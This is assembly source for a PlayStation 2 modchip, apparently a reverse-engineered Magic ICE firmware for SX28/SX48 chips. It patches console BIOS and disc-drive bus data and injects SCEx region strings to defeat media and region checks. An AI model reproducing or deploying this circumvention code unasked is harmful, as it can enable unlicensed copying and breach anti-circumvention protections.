; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V12 mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V9-10 ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#15;$f ;15 mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 ;FC mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f ;0001 1111 ;mechacon bus: IHGBXXXF ; '0' = output ! V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#5;$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff ;1111 1111 mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l4 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF RSTBUMP sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;V1-V8: sleep for DVD media loaded in PSX mode ;dvd_c1 mov w,#$90 ;NEW 1 time 1 BYTE patch !!!!!!!!! mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb JAP_FLAG jmp CDDVD_JAP snb UK_FLAG jmp CDDVD_PAL ;:reg_usa clr w jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_uk CDDVD_PAL mov w,#8;$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_jap CDDVD_JAP mov w,#16;$10 ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#8;$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#3;$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... mov w,#$f ; 0000 1111 = 0 output mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff mov !IO_CDDVD_BUS,w snb SOFT_RST jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;exit_patch CDDVD_IS_PS1 clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0400 jmp PS1_DETECTED_REBOOT ;Modload repatch... FINISHED_RUN_START page $0000 call SET_INTRPT mov w,#4;$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call DELAY100m page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP end

1nick9/PS2-Magic-ICE-FINAL-REVERSE

131,705

randomWIPsince-reverse/v14-improve.s

;******************************************************************************** ; h2o-orange-F-ntscconsoleps1fix-v8japsupportadded.sxh hash 3158b96dd151bdd71406c4c05b80915e ;******************************************************************************** ;DEFINE ;expermenting defines, not needed. ;SX48RAM = 1 ; unneeded memory remap, has issues with 75k ps1drv, likely some wrong cals ;SX Chip used. SX48 uncomment below. SX28 have commented. SX48 = 1 ; uncomment for compiling for sx48 else is compiled for sx28 F=TR RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. sx28 or this and next define aswell for sx48 E51E9226F0360FBAA2510BDFDA0BC433 ;USE SX48RSTBUMP ONLY FOR SX COMPILING FOR SX48. Both RSTBUMP and SX48RSTBUMP must be on SX48RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. for sx48 with RSTBUMP uncommented 4D74D099733ACDDCBB4F046B4258B20C ;V14/V8jap identiy jmpers. if using sx48 needs the trim, sx28 either can go but stock code is without trim H2O75KJMPERS = 1 ; uncomment for compiling with restbump for ps1mode. if compiling for rstbmp use one of the sx28/sx48 with h2o v14usa/v14jap/v8jap ident jmpers else use F=TR defines 3158B96DD151BDD71406C4C05B80915E SX48H2O75KJMPERSTRIM = 1 ; needed if using h2o jmpers ident with sx48 rstbmp. h needs to go to 5v if not jap console or triggers my cad. D146DFD2DFC6F641029CA7A2A1529DD3 ;USE ONLY IF F=TR or RSTBUMP without H2O75KJMPERS. ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal sx28 0F465F30D6207AF98456841781DEC442 sx48 A7B089F1BEFF0EE9EE002CB378A1D018 ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa sx28 0F7BAA63B5735E9A0D7C40BAF4E57A7B sx48 CD93EF4293DA0171269FE8C42E7E6D1E ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap sx28 17F5B31F88A8CF440BF83BB7B52587F4 sx48 8A998B76CC47D7A65D7C61A4F2901570 ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;; checksums 75kps1yfix not updated ;only rstbump v8jap tested but rest should be right IFDEF SX48 device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ELSE device SX28,TURBO,PROTECT,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ENDIF ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) IFDEF SX48 ;regs sx48 VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ELSE ;regs sx28 VAR_DC1 = $08 ; DS 1 ; delay counter 1(small) VAR_DC2 = $09 ; DS 1 ; delay counter 2(small) VAR_DC3 = $0A ; DS 1 ; delay counter 3(big) VAR_DC4 = $0b ; DS 1 ; delay counter 4 VAR_PSX_TEMP = $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BYTE = $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PATCH_FLAGS = $0E ; DS 1 VAR_SWITCH = $0F ; DS 1 VAR_BIOS_REV = $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR = $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP = $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_PSX_BITC = $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_PSX_BC_CDDVD_TEMP = $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect ENDIF ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. JAP_V8 = VAR_SWITCH.2 X_FLAG = VAR_SWITCH.3 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models V0_FLAG = VAR_SWITCH.6 ;V0 10-18K console flag ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 IFDEF SX48 ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $0FFF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w IFDEF H2O75KJMPERS mov w,#$1e ;; extra needed for io v14jmp mov m,w mov w,#$be mov !IO_CDDVD_BUS,w ;; end extra io v14jmp ENDIF mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ELSE org $07FF reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mode $000F mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;to be sure ports are input ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ;.... mov w,#$ff ; 1111 1111 mov !ra,w ;... mode $000A ;set up edge register mov w,#$8 ; 0000 1000 mov !IO_CDDVD_BUS,w ;RB3 wait for LOW ( = 1 ),RB2 wait for hi ( =0 ) mode $0009 ;clear all wakeup pending bits clr w mov !IO_CDDVD_BUS,w mode $000B ;enable wakeup... mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ;... on RB3 ( eject ) & RB2 (reset) mode $000F sleep ;INIT_CHIP STARTUP ;here from stby & wake up... mode $000D ;TTL/CMOS mode... mov w,#$f7 ;1111 0111 mov !IO_CDDVD_BUS,w ;set IO_EJECT input as cmos ( level '1' > 2.5V ) work better with noise ... IFDEF H2O75KJMPERS mode $000E ;? ;; h and f io jmpers needed/extra 75k/v8jap mov w,#$be ; 1011 1110 mov !IO_CDDVD_BUS,w ;; end ENDIF mode $000F ;port mode mov w,#$7 ; 0000 0111 mov !ra,w ;port mode : all input mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;rtcc enabled,no int,incr.on clock, prescaler (bit 2,1,0). ;read power down register clr fsr mode $0009 ;read power down register clr w ;clear W mov !IO_CDDVD_BUS,w ;exchange registers = read pending bits mov VAR_PSX_BITC,w ;save wake up status ... mode $000F ;need 'cause removed from patch disk for speed ! ENDIF ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND ;0 = power up from sleep , 1= power up from Power ON (STBY) snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 ;xcdvdman reload check page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ;reset all used flag... clr VAR_SWITCH jmp BIOS_GET_SYNC ;--------------------------------------------------------- ;Delay routine using RTCC ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- DELAY100m ;Precise delay routine using RTCC ;-------------------------------------------------------------------------------- mov w,#100;$64 mov VAR_DC1,w ;delay = 100 millisec. RTCC_SET_BIT mov w,#61;$3d mov rtcc,w ;load timer = 61 ; delay = (256-61)*256*0.02 micros.= 1000 micros. / 45 for 54M RTCC_CHECK mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit jmp RTCC_SET_BIT retp ;Return from call ;-------------------------------------------------------------------------------- SET_INTRPT ;setup interrupt routine ;-------------------------------------------------------------------------------- IFDEF SX48 mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ELSE mode $000A ;set up edge register mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense ;wait for low mode $0009 ;clear all wakeup pending bits clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; clear all wakeup pending bits ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ;enable interrupt ; MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enable interrupt mode $000F ; XFh mode direction for RA, RB, RC output retp ENDIF ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#59;$3b ;#59 var_dc3 mov mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#59;$3b mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb SCEX_FLAG :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; JAP 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; UK 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- IFDEF SX48 snb USA_FLAG jmp usa ;; idea for space usa flow trigger snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ELSE snb JAP_FLAG jmp jap snb UK_FLAG jmp uk clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#8;$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#4;$4 mov VAR_DC4,w jmp SCEx_IO_SET SCEx_IO_SET mov w,#4;$4 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$b mov !ra,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#8;$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#22;$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$f mov !ra,w ret ENDIF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low nop ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop ENDIF mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 